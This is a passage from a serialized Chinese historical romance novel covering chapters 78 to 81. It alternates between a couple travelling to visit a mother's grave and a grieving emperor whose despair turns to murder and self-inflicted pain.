“是这个老东西给你下的毒?” 他看了气急败坏的乌头师父一眼,犹豫了一会儿,说道: “不是,是我自己意外中毒了。” 陶金荣一下闹了个大红脸,神情尴尬: “啊,那竟然是我错怪你师父啦。” 她连忙甜着嗓子,转身向师父连连鞠躬道歉,软乎话不要钱似的往外说,情真意切地恳求乌头师父治好秦思昭,并收他做亲传弟子。 乌头师父受着也不是,不受着也不是,被她弄得坐立不安,像被大风猛地吹起来,一个劲扑棱翅膀却飞不起来的家禽。 他吹胡子瞪眼,不停踱步,时不时白秦思昭一眼。 秦思昭哑然失笑。 “荣儿,咱们先进来说吧。” 他的房间虽然收拾得很干净,但是又小又逼仄,把门一关,简直显得有些拥挤,这屋子里简直像站不下两个人似的。 门刚一关,发出砰的一声,陶金荣就梗着脖子,急匆匆地说道: “孩子掉了,我跟顾时也不过了!我跟他已经把所有事都摊开讲过,他也同意了。你别担心,他就是个没种的东西,现在正当缩头乌龟呢,根本管不上咱们两个的事。” 秦思昭见她面色憔悴,便轻声说道: “来把脉。” 陶金荣乖乖地伸出了手。 “气血太亏了,需要好好调养才行,这里药材齐全,我去给你收拾个房间,你先住上一阵子吧。” 她抓着他的手腕子问: “我跟你一起住不行吗?” 秦思昭哑然失笑: “荣儿,你当真吗,我可能真的要时日无多。” 她一下脸色惨白。 “阿昭,你别吓我。” 他笑了笑,低头说道: “可能还剩下一年的寿命吧。” 秦思昭忽然觉得胸口一热,是陶金荣毫无保留地扑到了他的怀中,紧紧环抱着他。 “阿昭,你等着,我会去求乌头师父给你治好的。” “积重难返,恐怕没救了。” 她抬起头,双眼红通通,湿漾漾地看着他说道: “我不许你这样说,我好不容易才脱身得彻彻底底来找你,你不许死,你要是死了就是对不起我。” 秦思昭犹豫了一下,又把手放在了她的后背上,紧紧地回抱了她。 “嗯,都依着你。” 这几日,秦思昭不仅要自己挨个试解药,抽出空来,还给陶金荣每日把脉来调养身体,她的身体倒是好得飞快,每日健步如飞地杀到乌头师父那里,先吊一吊嗓子,随后又摆出村子里哭丧的架势,大张旗鼓地求他救秦思昭。 现在整个青剂堂都知道秦思昭的老婆找上门来,死缠烂打地问乌头师父要说法呢,人人都对她避之不及,看了就要头疼。 “秦思昭看着挺斯文一个人,怎么找了个那样的婆娘,死缠烂打的,看着可真是凶。” 一个弟子抱怨道。 另一个弟子说: “不过他那个媳妇长得可真是好看,跟朵花似的,我都没见过那么好看的姑娘。要是有个这样的女人还能豁出脸面去给我撑腰,我这辈子都值了,他这媳妇讨得值。” “怎么,你要撬墙角?” “怎么可能,她长得那么好看,我满脸麻子不说,还没秦思昭聪明勤快,她哪能看得上我?” “哈哈,你小子,还真看上别人家的媳妇啦!” 两个弟子你打我两下,我还你两拳,推推搡搡地玩闹在了一起。 被陶金荣这个疯婆娘数日纠缠,乌头师父终于烦不胜烦,对她挥挥手,说道…… 第78章 “行了……行了,摊上你我得认倒霉……解药给你,不过我也不知道这解药能不能治本,你把耳朵凑过来,我得嘱托你几句,吃了这药后不能……” 陶金荣赶紧接过这解药,换上一副大大的笑脸,乐开了一朵花,恨不能对乌头师父千恩万谢。 她赶紧跑着把这解药带给了秦思昭,又把乌头师父的嘱托一个字不拉地转告给了他。 秦思昭听后露出了一个无奈的笑容,直接把解药吃了下去。 “荣儿,可以陪我去给我娘扫墓吗?我有事得告诉你。” 他的眼中闪过一丝复杂的神色,像是在抗拒着什么一般。 “当然可以。” 陶金荣对秦思昭的秘密尚且一无所知,只懵懵懂懂地应下来了。 ………… 顾时的伤口结了一个厚厚的血痂,他总是有意无意地躲避着医生的治疗,故意拖延这伤口转好的进度,希望它在他的锁骨上痛得长长久久。 可即使如此,这伤口依然是快要好了,血肉又重新长在了一起。 他想平心静气地站在靶场对面,拉开弓,命中靶心,就像他曾经做的那样。 就在拉弓搭箭之时,他忽然发现自己右侧的手臂抬不起来了,也使不上什么力气,稍微一用力,整条胳膊如同有无数只蚂蚁在爬一般。 准头歪了,箭几乎没法成功从弓弦上发射出去,只飞了半道,就软软地歪在了地上。 他去问了太医这是怎么回事,是他真的病了,还是一时失手。 太医告诉他,他的手臂很可能永远也恢复不了,他却没什么怅然若失的感觉。 他知道太医说的是真话,他会对他说真话,是因为他过去总是太过宽仁,从不由着自己的喜好,毫无缘故地杀人罚人。 事到如今,这样的真话,真是要听一句少一句了。 “泠川……” 他睡眠时翻了个身,手臂落在空落落的枕头上,一下子又惊醒了。 泠川能对他做的最坏的事,不过是假装自己去死,让他活在失去她的折磨里,自己独自享受人生,把他丢下,让他从此再无一天快活日子。 可她现在真的死了。 他以为自己会悲痛不已,哭天喊地,但实际上并没有。 他双眼干涩,一滴泪也没落下来,他对此已经感到麻木了,就像一个人从此失去了五感,只是按照之前设定好的一套程序,如同傀儡一般地活着。 从前他颇为心慈手软,顾虑太多,如今也没了。 所有让他觉得麻烦,不快的人,他都利索地杀了。 他之前晕血,可是他现在却能平静地看着杀头时,血像一把剑出鞘一般,从脖子的切面中喷射而出。 他看着这一切,不觉得快乐,也不觉得恶心,血就只是血,杀头就只是杀头,腥气就只是腥气。 他已经失去了把这些外部信息按照自己的喜好进行二次加工的能力。 可是回忆却频繁从脑子里跑出来折磨他,那日泠川裙下的血液又那样的鲜红,她的血像是能孕育黑白无常,一边一个小鬼站在她的血上嘻嘻笑着,对着他拉开一扇通往地府的门。 不管他看见了什么,听见了什么,感觉到了什么,都不可能比回忆更加生动了。 他像是高高地飘到了天上,看着自己的身体呆滞木讷地活动着。 从此一切喜怒哀乐,皆与他无关。 如今大臣们人人自危,有人开始想起了歪主意。 三日后,一位外貌与泠川六分相似的美人,被人以宫女的名义塞到了宫中。 按照计划,她只需要在御花园唱歌。 她尚且不知那官老爷叫她唱歌是为了什么,只知道她娘亲病的严重,自己来这里唱一首歌,她娘就能拿到五百两银子去治病,所以她便唱了。 每日她都准时吊好了嗓子来唱,她生怕一日唱得不好,官大人就又翻了脸,收回成名,那银两就不翼而飞了。 直到有一天,她遇到了一位男子,他穿着一袭白衣,只叫她站在这里别动,她见那人似乎是个大人物,便乖乖等着。 结果等来的却是一把寒光凛冽的长剑。 他提起剑来,眼里带着复杂的恨意,一刀抹了她的脖子。 她倒在地上,血流满地,她颤颤巍巍地抬起手,用最后一丝气息说: “娘……” 吐出这一个字后,她便双眼翻白,倒在血泊里,彻底咽气了。 那张和泠川有着六分像的侧脸倒在血泊里,血腥气一下窜进了顾时的鼻腔,他手臂一软,剑直接掉在了地上。 他的胳膊又酸又麻,几乎抬不起来,伤口处感受到了一阵发射似的疼痛,马上蔓延全身。 他都干了些什么!那个女孩年纪不大,傻傻的,什么都不懂,像条小狗似的留在原地等他,等来的却是一把冰冷的剑。 他竟然提着长剑,亲手杀了一个几乎全然无辜的小女孩! 如果是泠川看见他变成了这个样子,她该有多对他失望! 那女孩死不瞑目,她睁着眼,苛责地看着他,就像他犯下了世界上最可怕的大罪似的,他觉得她长了一双和泠川一模一样的眼睛。 他转过身去,忽然莫名其妙地松了一口气,好在泠川已经不在了。 她在的时候,他不过是被她的那两下子给忽悠了,控制了,为了讨她喜欢才学着一味当个好人,最后的结局就是他总是对所有人都过度宽容,纵容得太过,以至于人人都觉得他好说话似的。 现在她已经不在了,世界上再也没有人会因为他变成了一个昏庸的暴君而对他感到失望,他们应该感到恐惧。 他回头看了一眼那个女孩的尸体,流了很多血,他却不再感到恐惧。 从此只有别人怕他的份了。 这一切也怪不得泠川,他本身就是这个样子的,是她自己太过强势,强行把他弄成了一个温和软弱的人。 想起泠川,他嫌弃地抿了抿嘴,他现在觉得自己一丁点都不喜欢泠川,是她让他变得软弱了,她要是早点死就好了。 她掉到水里溺死,流产出血过多而死,还是跑到他屋子里,穿着一袭红衣上吊死都可以,就是别拖到这个时候。 如果能重来一世,他一定会在见到她的第一面就把她弄死,就像他砍死了刚才那个小姑娘一样。 就算她现在重新出现在他面前,他也一点都不会喜欢她,他肯定不会扑上去抱她,吻她,他只会直接叫她滚开,叫她离他远一点儿。 他一边这样想着,一边在子夜里独自踱步到琮翠殿的原址去。 今夜连月亮都无,黑得伸手不见五指,风呼啸而过,是个闹鬼的好日子。 被活活烧死在宫里的女人,化作的厉鬼一定很凶,今夜,他就在这里等着她来。 “陶金荣!我咒你永世不得超生!永远不得安息!” “你活着的时候不是一天到晚的都挺嚣张的吗?怎么死了就变得这般窝囊了?连一个托梦都没有!出来作祟也不敢?你看看我现在变成了什么样子?跟畜生有什么区别?你都不来管我吗?你怎么不替老天爷来收我呢!” 他把那把沾了无辜者之血的剑丢在地上。 风平静了下来,拨云见月,皎洁的月光洒在大地上,散发着静谧的美。 夜色优美,无事发生。 顾时瞬间觉得自己像个被取乐的戏子一般,颜面扫地。 次日,他便召见了一位道士。 “我的妻子她烧死在了琮翠殿中。” 他把泠川的死亡日期和生辰八字尽数给了这道士。 “陛下是想要续弦,怕惊动她的魂魄么?” “怎么?只要我续弦,就能惊动她的魂魄?她的魂魄就能回来找我是吗?” 顾时就像抓住了一根救命稻草一般。 “不是,是可能会业力深重,导致您和续弦的后代受影响。” 这道士摆摆手说道。 “咦,我看这八字……有点古怪,这命主姻缘倒是很不错啊,幸福美满。” 这道士低头嘟囔着, “不对啊,这明明是妻大夫随,丈夫入赘的命啊,只是婚前有点烂桃花,现在也已经换大运了。” “陛下,这当真是您妻子的生辰八字吗?是不是弄错了?这不像是皇后的命。” 他越看越觉得古怪,这姑娘明明还活得好好的呢,而且马上就要和正缘结婚了,她这命格的出身不算太高,但颇受父母照拂宠爱,只是婚前有桃花劫,这样的姑娘怎么可能是皇后呢? 他一抬头,顾时的脸阴沉得可怕,双眼满布红血丝。 “我是皇上,她是我的妻子,那她就是皇后的命,你是在质疑我的皇位吗?” 这一顶硕大的帽子扣在了道士的头上,他赶紧跪下直呼万岁饶命。 他一边打自己的耳光一边说: “小的学艺不精!小的学艺不精!绝无质疑陛下之意,小的不敢!脏了陛下的耳朵!该打!该打!” “是你自己学艺不精罢了,如果你没办法让她给我托梦,那你也没用了。” “陛下饶命!陛下饶命!草民实在是……” 他连连磕头,神色一变,急忙说道…… 第79章 他想急匆匆告诉他这姑娘还活着,可转念一想,他一定不能直接把话说死,万一这八字就是弄错了,陛下要找的女人已经死了,岂不是让陛下空欢喜一场。 最近他越发的喜怒无常了,一个不满意就会大开杀戒,不似从前那般宽仁。 道士跪在地上,清了清嗓子开口说道: “陛下,这人生死之事,即使是道士也难以预测,若这真是您妻子的命格……也许有缘还能再相会呢。” 他皱着眉,掐着指头,把这生辰八字又重新测算了一遍,明明就是个夫妻和睦,妻大夫随,婚前沾烂桃花的命格,和皇后这两个字简直风马牛不相及,南辕北辙,这怎么可能是皇后的命呢。 他索性砰砰地磕头,磕完头,便故弄玄虚地说道: “陛下,这天机不可道破,您若是想在梦中见到她,只要……只要在卧室点燃这熏香便可以了。” 他双手高高举起,呈上了一个乌木小盒,盖子打开,里面是气味十分怪异的香料。 他若是想做梦,那他就让他做,这并没有什么难的,道士最不缺这种手段。 这香料并不具备什么和鬼神沟通的能力,只是可以让人做复杂的梦,日有所思夜有所梦,只要做的梦够多,梦中出现那个女人也不是什么难事。 “若是无用,小心你的项上人头。” 顾时冷冷地说道,他眼眶深陷下去,平添了几分阴鸷暴戾。 这两天他杀的人比他人生中前二十二年加起来都多,横竖他早就已经变成了一个毫无底线的畜生,那便一错再错下去吧。 罪恶就像滚雪球,一旦把道德的闸放开,罪孽在下坡路上滚起来,只会不断与自身相乘,膨胀得飞快,一小会儿就翻了数倍。 如果她还活着,看到他变成了这样,她会不会回来抽他一个耳光? 他忍不住翻来覆去地想道士的那句“有缘还能相会”是什么意思。 这个世界上有没有一丁点泠川还活着的可能? 这样的想法刚从心里萌发一点,就被他死死按下去了。 他已经承担不起再一次的希望和失望,倒不如就当她死了吧……如果他还能见到她,一定会在第一时间杀了她,彻底杜绝她继续伤害他的可能。 到了子夜时分,他躺在床上翻来覆去,头脑却空空如也,谈不上有什么感觉。 他从床上爬下去,手握着蜡烛,亲手点上那熏香,将香炉的盖子重新改好,躺回床上。 闻着这个气味,他无端觉得床铺都变得舒服了许多,便能够沉沉入睡了。 不知怎的,在梦中,他竟然变回了曾经的那个小孩子。 日头正盛,琮翠殿屋顶的琉璃瓦闪烁着美丽的光,他正琮翠殿里快活地跑来跑去。 “真羡慕你还能无忧无虑,多好,不像本宫,每日都要为各种闲杂琐事愁白了头发。” 他的母妃站在他的身后,用嫉妒的眼神看着他,阴恻恻地说道。 他怔怔地看着她,心底尽是无助。 他一瞬间产生了一种人为制造的愧疚感,他羞愧地低下头去,觉得自己的快乐是背叛了母亲。 他很想告诉她,他并不是无忧无虑的,只是小孩子更能尽兴地玩耍。只要他稍微停下来,那各种复杂的情绪和忧愁便会一下子淹没他,所以他只能不断不断不断地玩耍。 尽情地玩吧…… 他转身逃离了琮翠殿,一边大笑,一边疯跑,不理会他的母妃是如何对着他声泪俱下地控诉自己的失望。 跑着跑着,他撞上了一个人。 他一抬头,看见了泠川的侧脸。 “你是人还是鬼?” 他想杀掉泠川,却发现自己还是个孩子,够不着高高挂在树上的那把长剑。 她没有说话,只像戏班子里的女鬼一般,扭过头来,静默地看着他。 “滚开,不要这样居高临下地看我!” 顾时气急败坏地骂道,可他却清晰地听到自己的声音依旧是个孩子的嗓音。 她的双眼眨了一眨,忽然一声剧烈的爆炸声响起,泠川消失不见。 他仰起头,是天空上下起了绵密的血雨。 铁锈味冲入鼻腔,顾时开始觉得恶心,不断干呕,忽然,他惊醒了。 他睁开眼,看见墙上挂着的那把见过血的长剑,他的胸腔不停上下起伏,大喘着粗气。 他想,这铁锈味一定是这把诡谲的长剑上的。 他气冲冲的站起身,垫着手帕去拿那把长剑,他拿着那长剑走出了门,随手把它塞到了一个侍卫的手里。 “赐给你了,以后别再让我看见它。” 天色刚蒙蒙亮,他忍不住觉得恶心,他觉得天空上真的会下一场血雨,就像在噩梦里那样。 顾时踉踉跄跄地拖着半边抬不起来的胳膊,躺回了床上,他现在异常反感复杂华丽的礼服挂在身上的感觉,于是便把一切衣物都简化了。 不如说这个世界上没有什么是他不反感的,他现在厌烦一切,所有东西看着都没什么意思,相比之下,手臂的轻微残疾也不是那么的难以接受了。 既然如此,那为什么他还要活着呢?他不禁扪心自问。 若是泠川一死,他马上就跟着去了,那岂不是显得他很丢人现眼,再说他也没爱她爱到那个地步。 拖着吧,现在他就想把自己这条命尽可能地拖着。 拖个一年半载的,等别人都忘了他有过妻子这件事之后,他再去寻死,这样还能证明他没有那么爱她。 他一定不爱泠川,毕竟他看到长得和泠川有几分相似,但又不是她的女孩时,心里是那样的反感,就像看到一只野鬼蹿进了泠川的体内,操纵着她的尸身缓缓站起来一般瘆人。 他几乎没什么思考过程,就直接把那个女孩杀了,动手之后他才因杀了完全无辜的人而感到愧疚。 反正他就是没有那么的爱泠川,毕竟她除了无尽的疼痛和手臂的轻微残疾之外,什么都没给他留下,哦对,还有一根不值钱的破烂簪子,他现在已经把*她和痛苦完全的联系在了一起。 他焦虑地用力摸了摸自己锁骨上泠川留下的伤口,意外地发现竟然没那么痛了,他瞬间陷入了恐慌。 老天爷要把她为数不多留给他的遗物都剥夺吗? 他不能失去这种唯一的联系,即使这是货真价实的疼痛。 顾时咬了下自己的舌尖,疼痛感从舌头上传来,让他维持了基本的理智和清醒,他觉得自己又活过来了。 于是他悄悄叫人在他的舌头上穿了孔,戴了一个隐秘的银质舌钉,像个枷锁一样横在他的舌尖上。 每当他想起泠川时,就在最为敏感的口腔内侧将舌钉悄悄挪动一下,疼痛直直钻心,他心里却莫名其妙地觉得痛快。 他和泠川在一起时就是这种感觉,很疼,并且除了他之外,没人会知道这种疼痛,但这种感觉也很让人成瘾。 到了夜里,他躺在床上,轻轻咬了一口舌钉,疼痛猛地袭来,他却能甜甜地睡去了,好像泠川还伴在他的身边一样。 ………… 陶金荣和秦思昭一起坐着马车,辗转回了家乡。 有了解药之后,秦思昭的身子好转了许多,皮肤也变得莹润而有了光泽,双眼也重新有了神采。 他长了一双带卧蚕桃花眼,总是笑意盈盈的样子。 这几日他们住客栈时,虽然是住在了一个房间里,但却是两张床。 陶金荣对此倒是没什么可不好意思的,反正他已经知道了她的一切,她没必要把自己的经历视为忌讳,一味地闭口不谈,也不会因为自己的经历而对他有什么过度的迎合和付出。 毕竟她也自认非常勇敢,自己做到和顾时撕破脸,直接光明正大地走了。 这并不丢脸,反而是一件值得骄傲的事,毕竟顾时不管是威逼还是利诱,都没能驯服她,她依旧是个有尊严的人,并且完完整整地把自己从一段畸形的关系里救了出来,没有变成一个奴隶。 秦思昭对她付出了很多,他很好,她心中非常感谢,但却不会因此而感到自卑,毕竟她也很勇敢地和他双向奔赴了,完全可以配得上他。 她现在对自己的过去感到光明磊落,没什么可不光彩的。 不管是什么,她都已经挺过来了,她大可以挺起胸膛,非常骄傲地告诉别人,她再也不是那个被折磨得精神崩溃,动辄就要寻死觅活的小女孩了,现在什么都打不倒她,她可以坚强地活下去,并且活得很好。 想起过去的种种,陶金荣不禁有些感慨。 她在最脆弱无助的时候,依然对未来抱有一丝希望。 如今看来,她和顾时的种种情感纠葛确实不是什么大事,就算是婚前怀孕,对于她漫长的人生来说也不过是一个小插曲罢了。 她未来的路还会很长很长。 如今她和秦思昭躺在一间房里,但是两张床。 他中衣穿得挺严实,她瞥了他两眼,嘴角带上了一丝意义不明的笑容,伸手去拉了拉他的衣袖…… 她用气声悄悄地说道: “秦思昭,你觉不觉得,我们应该……” 第80章 秦思昭刚要睡着,就觉得自己的袖子被一只不安分的手扒拉来扒拉去。 只有一个人能这样对他。 “怎么了,荣儿?” 他迷迷糊糊地问道。 “咱们还有几天才能到啊?” “应该还有两天,舟车劳顿,你想休息一天么?” 秦思昭转过身来看着她,睁大了眼睛。 他正因朦胧的睡意而感到有些迷糊,眼睛里飘飘忽忽,像含着一层水似的,眼白微微发红。 陶金荣翻了个身,躺在床的最边缘处,只想尽全力靠他近一些。 她扬起瘦削的下巴,用手肘在床的边缘撑着脸,睁大了双眼,一动不动,目不转睛地盯着他的眼睛看。 这种眼神几乎有些侵略性。 她忽然开口说道: “说实话,简直有点认不出你,原先我总觉得你像个跟屁虫似的,怎么长得这么高了。” 说完了,她一点一点地涨红了脸,低下头去,眼神躲躲闪闪,莫名其妙地觉得尴尬。 她觉得自己简直就像个好几年才能见一次面的年长亲戚似的,憋来憋去,只能说出一句“你小时候我还抱过你呢。” 纯粹就是没话找话。 她越想越觉得丢人,简直想找个地缝钻进去,她平躺下来,用手捂住了自己的脸。 陶金荣转过身去,把被子蒙在了自己的脸上。 “别管我了,睡了睡了。” 忽然,她蒙在脸上的被子被掀了起来,她错愕地仰起头,直接和一双睫毛微微湿润的桃花眼四目相对了。 秦思昭就站在她床铺的侧面,嘴角上挂着一丝微妙的笑意。 他伸手去抚着她的下巴,她觉得自己的整个脸颊都变得温热了起来,并且越来越热。 陶金荣恍然间觉得自己似乎被什么东西支配了一般,他一只手抚摸她的下颌,另一只手撑在床上,她用余光瞥见了他手臂上绷起的青筋。 他吻了她。 说实话这个吻全是感情,毫无技巧,因体重的惯性,他的牙齿撞了上来。 可陶金荣却莫名其妙的从他的生疏里体会到了一种心理上的愉悦,就像在早夏里悄悄偷吃了一颗酸涩但汁水充沛的果子,或者满怀激动地摘了一朵不小心伸出栏外的花。 她想和他一起生活下去,想和他一起回到那个她记忆中热气腾腾的家乡,有低矮的院墙,墙头挂着招招摇摇的紫色喇叭花,还有一片一片的扫帚梅粗野地开着。 所有不可靠的幻想已经尽数消散,她伸手环着他劲瘦的腰,觉得自己回归到了本来应有的生活。 他把唇凑到她的耳畔,轻轻地说道: “睡吧。” 他手上的动作带着些抚慰的意思,用指尖轻轻摸了摸她的脸颊,她紧紧握住了他的手,她觉得自己的手比他的要更加炽热。 他轻轻亲吻了她的额头,把手抽回去的时候,陶金荣有些没反应过来。 不是……这就结束了? 那之后呢?没了? 她一脸错愕,忍不住躺在床上开始翻来覆去,胡思乱想,他现在到底在想些什么呢。 为什么不继续啊? 他应该不至于什么都不懂吧,毕竟他是个大夫,总应该知道那档子事是怎么干的,至少还有春宫图呢,这玩意儿难道不是人手一份,大家都看过么。 思来想去,她也得不到一个结果,反正她知道,他肯定是爱她的,她非常肯定这一点。 看到他颈旁垂下来的黑发,她的心中一下有了一种安全稳定的幸福感。从今以后她的人生不会再出现戏剧性的大起大落了,只会有无孔不入的平淡快乐,就像种下一颗种子,长出一株粮食一般。 他们会成为一对平庸的夫妻,和其他人相比别无二致,一样会衰老,一样会死亡。 她决定不再胡思乱想了,与其自己一个人瞎想,还不如直接行动呢,反正他也喜欢她,她应该算不上是轻薄了他吧。 她干脆从床上爬下去,直接蹑手蹑脚地钻进了秦思昭的被子里。 她动作飞快,丝毫不想担心自己的直白会让她显得不那么矜持,她自信地认为,他既然爱她,就应该接受她的直白。 她就是一个情感直白的人,不仅是情感直白,行动也很直白,她只是在鲜明锋利地表达着自己的喜欢,反正这是她的优点,他应该欣赏才对,不应该被她吓坏。 她环着他的脖子,整个人热气腾腾地贴在他的身上,中衣很薄,几乎是肉贴着肉,脖子挨着脖子。 “阿昭,你的毒解了没?身子好了么?” 她咬了咬牙,他要是不搭腔,她就索性把话说得更糙一些,他不懂也得懂。 “荣儿,你先下去……” 秦思昭的声音变得有些沙哑,不着痕迹地把自己的双腿往后挪了挪。 “秦思昭,你下半身离我那么远干什么?” “不是……荣儿……你先下去……” 他捂住了自己涨得通红的脸。 “先松开我吧,荣儿,求你了,好姐姐。” “你不是长手了吗?为啥不直接用手推开我,反倒一个劲求我自己下去?” “我不敢。” 陶金荣只穿了一层单薄的中衣,他实在是不知道自己动手推哪里合适,只能求她自己赶紧下去。 “你先说,下半身离我那么远是为了什么?” “现在我手上没有能避子的药材……” 他捂住了早就涨红的面庞说道。 “荣儿姐姐,行行好,饶了我吧。” 陶金荣这才肯松开他,她觉得自己方才的力气使得有些大,便皱着眉说道: “你转过来,给我看看你的后脖颈被我勒青了没有?” “没事,没事……” 秦思昭红着脸,转过身去,背对着她,不过却是出于别的原因。 陶金荣脆生生地说: “没事,你可以和我要个孩子,我愿意的。” 若是给别人生孩子,她的心里是千万个不愿意,但如果是给自己生一个,和秦思昭共同抚养,她一下便又觉得有些向往了。 “荣儿,你现在的身体情况肯定是不行的,你才刚出了小月子,根本就不适合在这个时候……我也不是不想,只是肯定得先顾忌你的身体,所以我要控制自己,还是之后再说吧。” 秦思昭小声说道。 他感到一只热腾腾的手在有一下没一下地摸着他的脖子,他连忙把脖子缩了缩。 “别碰……痒……很痒的……” “好吧好吧,我不碰了。” 她抱着被子,合上眼睛,整个人异常放松,大有打算在他的床上呼呼大睡的意思。 “荣儿,你还是去那边的床睡吧。” 秦思昭用微弱的声音说道。 “为什么?” 她抱着被子,不满地问道。 “我有点紧张。” 此言非虚,他手心里一直往外渗出汗水,意志力在被不停消耗。 “为什么紧张?” 她伸手握住他的手。 “我……我……” 他磕磕绊绊地说不出半个字来。 “荣儿,你明明心底知道的,别欺负我了,我得先去盥洗室一趟……松开吧。” 陶金荣捂着嘴偷笑,松开了他的手,从床上爬了起来。 “切,真无趣。” 她翻了个白眼,回到自己的床上睡了。 秦思昭急匆匆地穿上外衣,拿了一个包袱欲盖弥彰地挡在身子前面,踉踉跄跄地去了盥洗室冲凉水。 到了次日,陶金荣和秦思昭在车上闲聊了一整天,最后觉得无聊,便开始和他玩碰数。 “玩归玩,要不要赌点什么?输了得有点惩罚吧。” 陶金荣对着秦思昭,狡黠地眨了眨眼。 “荣儿你想怎么罚我?” “输了就罚你亲我一下。” 秦思昭很快就认真了起来,和陶金荣迅速地玩到了一起。 他不好意思地挠了挠头,说道: “差一点就赢了。” 他不留痕迹地连着输了三局。 陶金荣皱着眉头,心中起疑,她寻思好歹他也是个状元,总不能蠢到这个份上,连着三局都是差一点赢了,非常可惜的输掉了吧。 “愿赌服输。” 他轻轻地亲了一下她的脸颊。 “秦思昭,你闭上眼睛。” 他听话地把眼睛闭上了,嘴唇微微张开,等着她主动过来亲他。 陶金荣狡猾地用舌头悄悄滑进了他的牙关,在他的口腔里轻轻转了一小圈,像进去跳了一小段舞蹈似的,又把舌头收回来了。 “……” 秦思昭红着脸,捂着自己湿润的嘴唇,怔怔地看着她,半句话都说不出来。 她无奈地笑了笑,拍了拍他的侧脸。 “怎么,连魂都丢了吗?” “荣儿……你……还要继续和我玩碰数吗?” “阿昭,你舌头都要打结了。” 陶金荣不禁失笑,照着这个罚法,不管是玩几局,他都会输给她的。 他的脸红得像个灯笼。 “荣儿……求你别说舌头的事了……” “那好吧,继续来玩碰数吧。” 可这次秦思昭输掉之后,却没等到她的吻。 陶金荣狡黠一笑: “我大人有大量,这次就不罚了。” 秦思昭佯装生气的样子,和她轻轻打闹在了一起。 晚上睡觉的时候,陶金荣没有再继续欺负他,只轻轻问: “我们快到了吧……” “嗯,是快到了。” 她敏锐地发现,明明快要到目的地了,秦思昭的情绪却变得非常低落,就如同心事重重一般,强打起精神和她笑脸相对。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 她直接躺进他的被子里,把手放在他的侧脸上,问: “秦思昭,咱们不是要去给你娘亲扫墓吗?现在快到了吧。” “嗯,大概明天就到了。” 他努力压抑着自己声音里的不安,但他的声音还是哆哆嗦嗦的。 “你是不是想你娘亲了?” 她趴在他的耳畔问到。 秦思昭愣了一下: “为什么这样问?” “看你好像一直不高兴,打不起精神来的样子。” 陶金荣眨了眨眼,亲了他的侧脸一下,把头埋在他的脖子里,像一只小猫一样蹭着他,依赖着他。 她轻轻呢喃道: “其实我也好想我娘亲,每天都想。” 她索性直接环着他的胳膊,抱住了他。 这个拥抱里没有什么情欲的味道,她轻轻抱着他,纯粹是出于对他的安慰和依赖,她闻到他身上干净的皂角味,觉得心安了下来。 “荣儿……我……” 话说到一半,秦思昭又把话咽了下去,像吞了一个千斤的秤砣。 “睡啦。” 她老老实实地躺进另一张床上去睡觉。 这一夜,陶金荣睡得很踏实,像个玩累了的小孩子似的,把头埋在松软的枕头里。 秦思昭却一夜无眠,他睁开眼看着陶金荣的背影,她躺在另一张床上,背对着他,没有一丁点的防备之心。 直到现在,她都对他的事浑然不知。 如果她知道了,还能像现在一样,和他共处一室,安然入睡吗? 她会不会觉得挂在手上安然温润的玉镯子,实际上是一条通体碧绿的毒蛇? 在找不到她的日子里,他心底最高的想望只有一个,那就是重新一睹她的面庞。 现在他的心愿已经被满足,甚至事实比幻想还要更加美好,大大的超出了他的期待,她竟然为了他,克服了种种困难,坚定勇敢地选择了他。 也许得到过一次就会想要得到更多是人的天性,他已经起了不该有的贪欲。 他眼睛直愣愣地盯着她看,至少在她厌弃他,对他感到不齿之前,他得把她记住,他的每一道目光都想记住她尖锐且向下勾着的眼角,想记住她亲吻他时,眼里的喜悦和狡黠。 他记性很好很好,这一切都会作为有关爱情的可贵,真实,特殊的回忆贮存在他的记忆当中。 次日清晨,陶金荣起来洗漱,换了一身整洁的衣裳,又少见地在唇上涂了一点胭脂。 这胭脂是从路边摊上随手买来的,便宜得很,她觉得横竖涂在嘴唇上都是红的,都差不多,分辨不出好坏。 秦思昭走来,用手指帮她把唇上的胭脂涂均匀,笑道: “真好看。” “今日得去见你娘,我自然得打扮得精神一些。” 陶金荣捧着他的脸,笑吟吟地说道。 她却注意到他的眼下是一片乌黑,看起来十分憔悴,双眼皮上面也因为没睡好,多了一道褶子。 她虽然在心里很担心他,但却完全没有表现在脸上,只笑嘻嘻地站在他的身边,亲密地挽着他的胳膊,脚步很轻快。 因为她知道,如果她表现出了担心,秦思昭就得压抑自己的不快来哄她,她不希望他那样。 她并不知道他经历了什么,可不管是出于什么原因,表现出负面情绪都是很正常的,每个人都会有不开心的时候,秦思昭也有。 她不觉得自己一味的急匆匆地去搞定能做的就只有一直陪着他,支持他。 马车摇摇晃晃,一夜没睡的秦思昭睡着了。 他先是靠着陶金荣的肩膀睡了,随后又倒在了她的大腿上。 说实话,他压得她有些酸痛,但是她并未把他叫醒。 他心情已经够糟糕了,就让他好好睡吧。 她轻轻把他的头发撩拨到了耳后,手指拨了拨他眼下一片青黑的皮肤,想必他昨天一晚都没有睡好,她轻轻皱起眉,微微笑着看着他。 “阿昭,醒醒,师傅说我们到了。” 她轻轻摇晃了一下他。 “荣儿?” 他醒来后,发现自己躺在她的膝盖上,不由得有些失措。 “我压麻了你没有?” “废话!当然压麻了,还不赶紧起来,好好扶我下去吧。” 秦思昭赶紧起来,掀开帘子下了地。 他背对着陶金荣,回过头去说: “荣儿上来,我来背你吧。” “你能背得动我么?” 陶金荣确实是腿麻了,她扶着一旁,磨磨蹭蹭地爬了起来,一个飞扑,靠着惯性挂在了秦思昭的脖子上。 她有些诧异,秦思昭虽然看着纤细,但力气挺大,背得很稳。 “腿都麻了,干嘛不干脆叫醒我?” “我大人有大量,见你昨夜睡得不好,眼下都一片乌青了,就没叫你。” 她咬了一口秦思昭的耳朵。 “行了,放我下来吧,让别人看见了招笑,这有个木墩子,我到上面去坐一会儿。” 他无奈地笑了笑,轻轻地把她放到地上,扶着她坐在木墩子上。 “上面有些潮,对身体不好,腿不麻了就赶紧起来吧。” 他蹲在她边上,伸手去给她捏了捏腿。 “对,就是这里麻,你往下一点。” 她伸了伸腿,大大咧咧地开始指挥起了秦思昭。 “哎呦……” 陶金荣忽然惊叫一声,眼里怨怨地看着秦思昭,有些委屈地说: “你忽然用那么大的力气干什么。” “这样才能好得快一些,你站起来试试,还麻吗?” 陶金荣扶着他的肩膀,哆哆嗦嗦地站了起来,转嗔为笑。 “还真的好了。” 她转了一圈,笑道: “你看着挺瘦的,可怎么手劲这么大?” “干过一些体力活……而且如果手劲不大的话,是没法给骨头复位的。” 